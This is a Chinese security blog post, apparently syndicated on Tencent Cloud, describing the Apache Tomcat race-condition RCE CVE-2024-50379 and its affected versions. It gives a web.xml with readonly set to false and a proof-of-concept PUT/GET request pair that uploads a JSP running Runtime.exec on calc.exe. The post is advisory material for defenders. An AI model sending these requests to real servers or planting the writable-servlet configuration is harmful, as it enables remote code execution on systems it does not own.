首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >CVE-2024-50379|Apache Tomcat竞争条件远程代码执行漏洞(POC)

CVE-2024-50379|Apache Tomcat竞争条件远程代码执行漏洞(POC)

作者头像
信安百科
发布2025-07-30 14:35:19
发布2025-07-30 14:35:19
3290
举报
文章被收录于专栏:信安百科信安百科

0x00 前言

Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由于Sun 的参与和支持,最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现,Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 规范。

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。

0x01 漏洞描述

由于Tomcat在验证文件路径时存在缺陷,如果readonly参数被设置为false(这是一个非标准配置),并且服务器允许通过PUT方法上传文件,那么攻击者就可以上传含有恶意JSP代码的文件。通过不断地发送请求,攻击者可以利用条件竞争,使得Tomcat解析并执行这些恶意文件,从而实现远程代码执行。

0x02 CVE编号

CVE-2024-50379

0x03 影响版本

代码语言:javascript
复制
11.0.0-M1 <= Apache Tomcat < 11.0.2
10.1.0-M1 <= Apache Tomcat < 10.1.34
9.0.0.M1 <= Apache Tomcat < 9.0.98

0x04 漏洞详情

利用条件:

在Windows系统下启用PUT请求方式,并将readonly初始化参数设置为非默认值false。

web.xml配置:

代码语言:javascript
复制
<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>

    <!-- 设置 readonly 为 false,允许资源被写入或修改 -->
    <init-param>
      <param-name>readonly</param-name>
      <param-value>false</param-value>
    </init-param>

    <load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
    <servlet-name>default</servlet-name>
    <url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>

并发读取和上传同一文件

代码语言:javascript
复制
PUT /d.Jsp·HTTP/1.1
Content-Type:application/json
Host:

aa<%·Runtime.getRuntime().exec("calc.exe");%>
代码语言:javascript
复制
GET /d.jsp HTTP/1.1
Content-Type:application/json
Host:

0x05 参考链接

https://lists.apache.org/thread/y6lj6q1xnp822g6ro70tn19sgtjmr80r

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-12-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安百科 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档